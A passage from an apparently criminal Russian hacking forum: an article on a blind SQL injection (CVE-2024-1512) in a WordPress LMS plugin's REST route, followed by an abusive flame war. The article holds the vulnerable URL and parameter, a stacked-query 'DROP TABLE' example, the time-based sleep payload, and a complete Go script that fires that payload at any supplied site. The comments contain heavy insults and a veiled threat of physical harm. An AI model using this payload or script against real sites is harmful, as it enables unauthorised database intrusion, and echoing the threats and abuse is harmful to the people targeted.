                                        (meta.meta_key = "_customer_user" AND meta.meta_value in (555))
                                )
                          AND course.ID = "666" AND course.`post_author` = "111" AND  (  meta_status.post_id = _order.ID OR order_status.ID = _order.ID )
 
 
  ORDER BY lms_order_items.ID  DESC
                    96 Query    SELECT  SUM( lms_order_items.`price` * lms_order_items.`quantity`) as total_price  FROM `wp_stm_lms_order_items`
  as lms_order_items
   left join `wp_posts` as _order on ( lms_order_items.`order_id` = _order.ID )
                                                   left join `wp_posts` as course on  (course.ID = lms_order_items.`object_id`)   left join wp_postmeta as meta_status on ( meta_status.post_id = _order.ID AND _order.`post_type` = 'stm-orders' AND  meta_status.`meta_key` = 'status' AND meta_status.`meta_value` = 'completed')   left join wp_posts as order_status on ( lms_order_items.`order_id` = order_status.ID AND order_status.`post_status` = 'wc-completed')
  WHERE _order.post_type IN ("stm-orders","shop_order") AND _order.ID = "222" AND  ( meta.meta_key = "_order_total" AND meta.meta_value = "333" )   AND
                                (
                                        ( meta.meta_key = "status" AND meta.meta_value = "444" ) OR
                                        ( _order.post_status = "444" )
                                )
                          AND
                                (
                                        (meta.meta_key = "user_id" AND meta.meta_value in (555)) OR
                                        (meta.meta_key = "_customer_user" AND meta.meta_value in (555))
                                )
                          AND course.ID = "666" AND course.`post_author` = "111" AND  (  meta_status.post_id = _order.ID OR order_status.ID = _order.ID )
 
 
  ORDER BY lms_order_items.ID  DESC
                    96 Query    SELECT  lms_order_items.*, course.post_title as name, _order.`post_date` as date_created  FROM `wp_stm_lms_order_items`
  as lms_order_items
   left join `wp_posts` as _order on ( lms_order_items.`order_id` = _order.ID )
                                                   left join `wp_posts` as course on  (course.ID = lms_order_items.`object_id`)   left join wp_postmeta as meta_status on ( meta_status.post_id = _order.ID AND _order.`post_type` = 'stm-orders' AND  meta_status.`meta_key` = 'status' AND meta_status.`meta_value` = 'completed')   left join wp_posts as order_status on ( lms_order_items.`order_id` = order_status.ID AND order_status.`post_status` = 'wc-completed')   left join wp_postmeta as meta on (meta.post_id = _order.ID)
  WHERE _order.post_type IN ("stm-orders","shop_order") AND _order.ID = "222" AND  ( meta.meta_key = "_order_total" AND meta.meta_value = "333" )   AND
                                (
                                        ( meta.meta_key = "status" AND meta.meta_value = "444" ) OR
                                        ( _order.post_status = "444" )
                                )
                          AND
                                (
                                        (meta.meta_key = "user_id" AND meta.meta_value in (555)) OR
                                        (meta.meta_key = "_customer_user" AND meta.meta_value in (555))
                                )
                          AND course.ID = "666" AND course.`post_author` = "111" AND  (  meta_status.post_id = _order.ID OR order_status.ID = _order.ID )
  GROUP BY lms_order_items.id
 
  ORDER BY lms_order_items.ID  DESC
  LIMIT 10
                    96 Quit
Большинство запросов находятся внутри двойных кавычек, за исключением (meta.meta_key = "user_id" AND meta.meta_value in (555)) OR(meta.meta_key = "_customer_user" AND meta.meta_value in (555)) - что относится к параметру пользователя. Параметры, отличные от "user", экранируют (escape) кавычки при передаче в базу данных, но это не будет иметь значения для параметра "user", так как он не находится в кавычках, и нам не нужно экранировать. Например, если я поставлю 222" как id, чтобы выйти из кавычек в sql запросе, то в базу запрос пойдёт такой _order.ID = "222\\\"", а user и так не внутри кавычек, так что такой проблемы с этим параметром нет.

Разработка Эксплоита (Детектор)​

Часть запроса, которую мы можем изменить, это 555:
Код:
(
  (meta.meta_key = "user_id" AND meta.meta_value IN (555)) OR
  (meta.meta_key = "_customer_user" AND meta.meta_value IN (555))
)
Что такое Стек Запрос?
Стек запрос - это техника SQL-инъекции, при которой внедренный SQL-код включает несколько SQL-запросов, разделенных точками с запятой. Например, в приведенном ниже случае я внедрил полезную нагрузку ' OR 1=1; DROP TABLE users; --.
Код:
SELECT * FROM users WHERE username = 'xss' AND password = 'pass';
SELECT * FROM users WHERE username = '' OR 1=1; DROP TABLE users; --' AND password = 'pass';
Что если я использую стековый запрос в нашем случае?
Код:
(meta.meta_key = "user_id" AND meta.meta_value IN (;SELECT sleep(5);-- -))
1708787034154.png

Изображение [7]​
Я открыл URL: http://localhost/?rest_route=/lms/stm-lms/order/items&author_id=111&user=;SELECT%20sleep(5);--%20-

Результат с SQL-сервера находится в первых двух полезных нагрузках, которые я выбрал, что показывает, что стековые запросы в данном случае не проходят, потому что все идет как один запрос. В то время в втором запросе (Я ВРУЧНУЮ скопировал QUERY 963 в MySQL), мы видим, что было сделано два запроса с SELECT sleep(5) - если бы это был наш случай, что не так, стековые запросы были бы возможны.
Что насчет SQLMap?
SQLMap нашел слепую SQL-инъекцию:
Полезная нагрузка: 555) AND (SELECT 1 FROM (SELECT SLEEP(5))AA
  • SELECT sleep(5): Это подзапрос, который вызывает функцию sleep(5), заставляя базу данных приостановить работу на 5 секунд.
  • AA: Это псевдоним для подзапроса. В SQL можно дать подзапросу псевдоним, добавив идентификатор после скобок подзапроса. Запрос не будет работать без него, потому что синтаксис SQL требует, чтобы подзапросы в предложении FROM имели псевдонимы, чтобы на них можно было ссылаться в других местах запроса.
  • SELECT 1: Эта часть подзапроса используется для возврата постоянного значения 1. В нашем контексте конкретное возвращаемое значение не важно. Главное, чтобы подзапрос (включая часть sleep(5)) выполнялся. SELECT 1 - это просто простая операция, чтобы обеспечить подзапросу допустимую форму SQL (чтобы синтакс был правильным).
Я написал простой эксплоит, который отправляет полезную нагрузку и проверяет, уязвим ли сайт. Если ответ ожидается более 5 секунд, то сайт, вероятно, уязвим, в противном случае - нет.
Код:
package main

import (
    "crypto/tls"
    "fmt"
    "net/http"
    "net/url"
    "os"
    "time"
)

func main() {
    if len(os.Args) < 2 {
        fmt.Println("Usage: go run main.go http://example.com")
        os.Exit(1)
    }

    baseURL := os.Args[1]

    query1 := "/?rest_route=/lms/stm-lms/order/items&author_id=111&user="
    query2 := "1) AND (SELECT 1 FROM (SELECT sleep(5))AA"
    encodedQuery := url.QueryEscape(query2)

    fullURL := baseURL + query1 + encodedQuery
    fmt.Println(fullURL)

    http.DefaultTransport.(*http.Transport).TLSClientConfig = &tls.Config{InsecureSkipVerify: true}

    client := &http.Client{
        Timeout: 100 * time.Second,
    }

    startTime := time.Now()

    resp, err := client.Get(fullURL)
    if err != nil {
        fmt.Printf("Error making request: %v\n", err)
        os.Exit(1)
    }
    defer resp.Body.Close()

    responseTime := time.Since(startTime)

    if responseTime >= 5*time.Second {
        fmt.Printf("Success: %s | Response Time:%s\n", baseURL, responseTime)
    } else {
        fmt.Printf("Fail: %s | Response Time:%s\n", baseURL, responseTime)
    }
}

Эксплоит тут:
http://****************************...***/git/cve/CVE/src/branch/main/CVE-2024-1512

Автор grozdniyandy

Источник https://xss.pro/​

 
Последнее редактирование:
Пожалуйста, обратите внимание, что пользователь заблокирован
Эксплоит тут:

http://**************************************************************/git/cve/CVE/src/branch/main/CVE-2024-1512

Прикольно, но почему эксплойт не тут /threads/108909/ или тут /forums/122/ а где то там ....
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Ответь на это сперва: https://xss.pro/threads/108789/post-760140

Это не где то там, это гит нашего форума и у всего есть форма. Мог бы написать: "Можешь и сюда (/forums/122) залить?"
А так это скуля, эксплоит и тут есть. Код который выше, детектит уязвимость (так что не совсем эксплоит), но путь я там указал:
Там нечего отвечать, ты и сам ответил на свой вопрос. Но если нужно отпишу. Многие не ползают по всему форуму и уж тем более на гит. Гит по большей части для проектов где не один файл, в твоем случае лучше было бы, если ты опубликовал эксплойт в багтраке. Если ты заметил, люди частенько сидят в этой ветке форума и ищут и делятся свежими уязвимостями и эксплойтами. Например если зайти в раздел багтрек и нажать на кнопку поиска и выбрать "CVE-2024-1512" то ничего не найдет. И уж тем более поиск форума не будет искать твой опубликованный эксплойт на гите.
 
Например если зайти в раздел багтрек и нажать на кнопку поиска и выбрать "CVE-2024-1512" то ничего не найдет.
общефорумный поиск прекрасно видит запрос "CVE-2024-1512", и в заголовках и внутри статьи.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
общефорумный поиск прекрасно видит запрос "CVE-2024-1512", и в заголовках и внутри статьи.
Я как бы об этом вкурсе. Сказанное тобою верно. Но тогда тебе придется искать код эксплойта среди статьи листая вниз. Для удобства у нас на форуме был придуман раздел багтрак. Чтобы можно было зайти и сразу глянуть код эксплойта. И поиск осуществлять по конкретному разделу. Либо сразу сортируя поиск по меткам как exploit-db.com remote, local, web, dos.
 
Тохе понравилось и он оплатил, какое тебе дело до кармана админа?

Во первых это детектор, во вторых чтобы пользоваться sqlmap-ом, нужно знать какой параметр уязвим, что я и показал

Не нравится моя работа? Вот тему создал: https://xss.pro/threads/108360/ - пиши под ней что не нравится.
Ок. Щас напилю разборов "авторских" по паблик CVE, Хуле, пусть админ платит. еще раз упомянешь в своем говнокопании "приват эксплоит", который сука ваще непонятно что - я все твои посты не поленюсь, вгоню в минус. Пусть админ сам исправяет, раз он платит за это дерьмо.
Весь твой "разбор" можно отправить в comparer берпа одной, сука, кнопкой. Всё. Я хуею.
 
Последнее редактирование модератором:
Пожалуйста, обратите внимание, что пользователь заблокирован
Не пойму суть претензии вообще к ТС, ТС потратил время, написал статью, админу она понравилась, он заплатил, значит его она устраивает, остальных это вообще волновать не должно. Ед. претензия в названии темы и не более. Ясное дело никто за 100$ не сольет свой приватный эксплойт.

Некоторые старики начинают перегибать все палки, повторюсь - некоторые, не все, большинство адекватные. Кричат про "все паблик; давно знал; ничего нового; все это уже было", но вместо того чтобы написать хоть одну статью, 1000-чу постов критики.

ТС - молодец, спасибо за статью, не обращай внимания на токсичных мемберов, всегда были есть и будут.
 
Не пойму суть претензии вообще к ТС
Тут вопрос в том что все что написанно можно одной кнопкой сделать
Весь твой "разбор" можно отправить в comparer берпа одной, сука, кнопкой. Всё. Я хуею.
 
тупее того кто тебя поддерживает *кхм кодекс кхм*
Никогда меня не упоминай и не тегай, во избежание проблем со здоровьем, я предупредил первый и последний раз.
 
Последнее редактирование модератором:
Пожалуйста, обратите внимание, что пользователь заблокирован
Я не знал что за тупость столько платят

grozdniyandy сам ведь провоцируешь, а потом жалобы на оскорбления кидаешь.
 
Просьба воздержаться от срачей и флейма вне "Болталки". Раздел технический и открыт для любых технических дискуссий, можно же быть не согласным с чем-то и высказывать обоснованные сомнения в качестве той или иной статьи, но делать это воспитано. Чего делать не нужно - оскорблять кого-то, включая модераторов, кто пробует как-то остановить надвигающийся срач.

grozdniyandy
Я рекомендую на твоем месте прислушаться к критике. Возможно стоит писать РЕЖЕ, но писать - качественней, с учетом высказанной критики ранее. ХСС - это не дорвей, задачи заспамить форум любым контентом с нужными кейвордами нет, такой способ продвижения давно не работает.

Если люди начинают высказывать необоснованный негатив в твою сторону - не отвечай, просто дождись модераторов.

Если негатив обоснованный - поблагодари за критику, пообещай прислушаться и не спорь.

У меня все.
 
Нам не нравится что он уже написал 100 таких.

Нам не нравится каждый день разбирать по 20 тем с ссылками на гитхаб,
Нам не нравится каждый день читать копипасту из 2003 "как научиться ламать SQL", приватная методичка WWH 2018 года, и чел, который спрашивает с чего начать учить программирование
Это происходит каждый день и последние 5 лет ситуация не меняется

Подобные статьи и участники обесценивает репутацию на форумах.
Новички приходят и поднимают лапки, "я еще только учусь", пишут статью "как я покакал", получают "+"
И неокрепший джун понимает, зачем делать сложное, если можно перевести еще одну бесполезную проходную статью и получить репутациию

Если реакции показатель уровня, то lisa99 принесла форуму меньше, чем grozdniyandy. Думаю это не так
Но в текущей ситуации похоже репутация ничего не значит. Так появились скамеры?
 
Нам не нравится что он уже написал 100 таких.

Нам не нравится каждый день разбирать по 20 тем с ссылками на гитхаб,
Нам не нравится каждый день читать копипасту из 2003 "как научиться ламать SQL", приватная методичка WWH 2018 года, и чел, который спрашивает с чего начать учить программирование
Это происходит каждый день и последние 5 лет ситуация не меняется

Подобные статьи и участники обесценивает репутацию на форумах.
Новички приходят и поднимают лапки, "я еще только учусь", пишут статью "как я покакал", получают "+"
И неокрепший джун понимает, зачем делать сложное, если можно перевести еще одну бесполезную проходную статью и получить репутациию

Если реакции показатель уровня, то lisa99 принесла форуму меньше, чем grozdniyandy. Думаю это не так
Но в текущей ситуации похоже репутация ничего не значит. Так появились скамеры?
Братан, тебя кто-то заставляет насильно читать его статьи?
Шеф просит перечитывать каждый пост на форуме и писать отчет?
Единственная причина открывать лично для меня темы grozdniyandy - модерировать срач и флейм. Так бы я не заходил ни в одну из его тем.

Вот я выше написал вроде бы русским языком - не нужно разводить флейм в технических разделах, и ты следом разводишь? Мне варн тебе сейчас нужно за флуд дать?
 
а потом жалобы на оскорбления кидаешь.
Он до сих пор плачется на наши сообщения через жалобы? 🤣

Просьба воздержаться от срачей и флейма вне "Болталки".
Я этого grozdniyandy не трогал, оно само меня здесь в топике упомянуло, его дерьмище для первоклассников я давно не читаю, зашел лишь потому что увидел посты Desoxyn.

Я не знал что за тупость столько платят
Узнаешь узнаешь, очень интересно будет посмотреть как ты будешь разговаривать вживую, а не здесь.
 
Последнее редактирование модератором:
Пожалуйста, обратите внимание, что пользователь заблокирован
Если реакции показатель уровня, то lisa99 принесла форуму меньше, чем grozdniyandy. Думаю это не так
Но в текущей ситуации похоже репутация ничего не значит. Так появились скамеры?
Реакции т.е лайки это не репутация. Однако... Единственный показатель вашей репутации это кол-во проведенный сделок на вашем аккаунте (BL - бизнес лвл) и сумма депозита на аккаунте. А так же отзывы на вашей стене на аккаунте. Это и является репутацией в данном случае.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Он оскорбил вас
Я не видел, уведомлений не получал.

Но не нужно тут мне писать что это я виновен, срач начинал не я, обзываться тоже начал он
Я этого не утверждал, но дальнейшие провокации не имеют смысла - будет только хуже. Ты же сам Кодекса дернул, зачем?
Однажды закусился со Степанычем, Quake3 предупредил и с тех пор я с ним больше не вступал в диалог и он со мной тоже.
 
Пусть напишут что-то лучше меня, тогда обсудим. Пока, если честно, не вижу ,ни тут, ни на хакер ру или где-то ещё.
Что писать? Как на скулю "эксплоит" запилить? Давай под каждый таргет из "Ваши вопросы по уязвиомстям" пилить ПРИВАТНЫЙ ЭКСПЛОИТ!!
Я - кого ты называешь как попало - на данный момент показатель уровня, к твоему сожалению хорошего, потому что других нет. Покажи статью про веб эксплоит девелопмент написанный на русском, покажи нормальную статью про обход капчи написанный на русском - их нет, а то что есть написал я.
Ты х#йни накидал :D Ты даже по капче предлагаешь взять токен, который будет занесен в блэклистед сразу, после первого же пэлоада. Накидай мне такой обход для Immunify 360? А вот х#й. Потому как твой "обход" может онли для парсинга подойти, не для чека на баги. А значит - наxyй не нужен, тупо.
Я тоже могу взяться за предложения в лс и копать кеш лопатой, тупо через мап или находя хсс на шопах. Не берусь, не брался, но переход в тёмную сторону близок.
В кидалы близок твой переход. Ты не умеешь в уязвимости. Смирись. Ты паблишер, не более того.
Что касается про того что я кидала, я технически не могу кинуть кого-то, потому что я и так беру бабки за компенсацию времени, независимо от успешного/не успешного выполнения работы.
Да кто у тебя что ваще заказывал? Есть такие?
Старики, вы тут? Покажите как надо, найдите ка 0day в самом wordpress и аналогах. Да дезоксин, ты стар, вот и забыл нормы поведения, иди таблетку выпей, пока я тут очередную статью напишу, которую продам кстати, ведь я чёрт :demon:
Нет слов... А можно 0дей посмотреть, а не разбор паблик CVE на плагине, который расписан от и до? Ну хотя бы 1 нулдэй, плиз. Ты же говна навалил и агришься, что такое не заходит пользователям ))) Удивительно, правда?
Он оскорбил вас (мне безразлично на это) и если даже после этого вы (модеры) удалили его сообщения то слов нет.
Пиздабол и жалобщик, стукачь. Ты в удаленных сообщениях чуть ли не через слово мне писал, тупой тупой ТУПОЙ. Видел ажлобы от меня? Их нет. От тебя - уверен, на каждую мою мессагу прилетали. Созвонись с головой, она скучает.
 
Последнее редактирование:
Что писать? Как на скулю "эксплоит" запилить? Давай под каждый таргет из "Ваши вопросы по уязвиомстям" пилить ПРИВАТНЫЙ ЭКСПЛОИТ!! Ты ж реально придурок.

Ты х#йни накидал, дебил :D Ты даже по капче предлагаешь взять токен, который будет занесен в блэклистед сразу, после первого же пэлоада. Накидай мне такой обход для Immunidy 360? А вот х#й. Потому как твой "обход" может онли для парсинга подойти, не для чека на баги. А значит - наxyй не нужен, тупо.

В кидалы близок твой переход. Ты не умеешь в уязвимости. Смирись. Ты паблишер, не более того.

Да кто у тебя что ваще заказывал? Есть такие? Даже если и есть - их ты и кинешь.

Нет слов... А можно 0дей посмотреть, а не разбор паблик CVE на плагине, который расписан от и до? Ну хотя бы 1 нулдэй, плиз. Ты же говна накидал и агришься, что такое не заходит пользователям ))) Удивительно, правда?

Пиздабол и жалобщик, стукачь ебучий. Ты в удаленных сообщениях чуть ли не через слово мне писал, тупой тупой ТУПОЙ. Видел ажлобы от меня? Их нет. От тебя - уверен, на каждую мою мессагу прилетали. Созвонись с головой, она скучает.
Ты очень, очень злой)))))
 
Если негатив обоснованный - поблагодари за критику, пообещай прислушаться и не спорь.
Не спорить там физически анрил. Посмотри на чсв:
Пусть напишут что-то лучше меня, тогда обсудим. Пока, если честно, не вижу ,ни тут, ни на хакер ру или где-то ещё.

Я - кого ты называешь как попало - на данный момент показатель уровня, к твоему сожалению хорошего, потому что других нет. Покажи статью про веб эксплоит девелопмент написанный на русском, покажи нормальную статью про обход капчи написанный на русском - их нет, а то что есть написал я.
Под автоматизацию каждой уязвимости, выполненной довольно качественно в профильных инструментах - писать ПАРОДИЮ в пять строчек и называть это ПРИВАТ эксплоитом... Даже локбит себе такого не позволял ))) Такое чуство своей важности, видимо потому как админ сотку накинул - я такого дерьма еще не видел. Это обесценивает мое участие здесь, как пользователя. Я не хочу быть на площадке, где вот такой контент считается "уникальным". Куча текста, размытого на учетное кол-во знаков для оплаты по условиям - это не качество инфы. Это просто вода, по факту. Естественно я возмущен. Так эта мелкая **** еще и дерзит. Никто такие статьи не пишет, потому что это ГЛУПО! Это сраные азы. Это как писать про то, куда кавычку ставить. Это как взять строку из реверс шелла, забиндить ее на ip своей vnc и пилить под это баш с кучей левой х#йни, вместо того, чтобы в терминале строчку ввести.
По его логике, тут можно
на КАЖДЫЙ пример запилить статью! Не охуеем ли мы от такого океана воды?

Мы с c0d3x одно время ваще не вылазили из тем помощи новичкам. И тамперы им пилили, и разжевовали, чо да как. И вот (говорить могу онли за себя) после такого дерьма, как стаитьи главного героя - я больше не появляюсь в таких темах. А зачем? Че то я не видел, чтобы он на реальных целях помогал. Теорию лучше размазать, замечу, общедоступную теорию.

Если вот этот человек станет уважаемым и авторитетным пользователем ресурса, то мне тут точно делать нехер, можно сразу в псж. Ебанутые вздохнут свободно, но это будет показатель контента и наполнения площадки. Я тут с самоустраняюсь.
Не берусь, не брался, но переход в тёмную сторону близок.
На черную сторону близок. Пиздишь дохуя, на незнакомых тебе людей. Тут тебе не чатик по интересем.
 
Последнее редактирование:


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх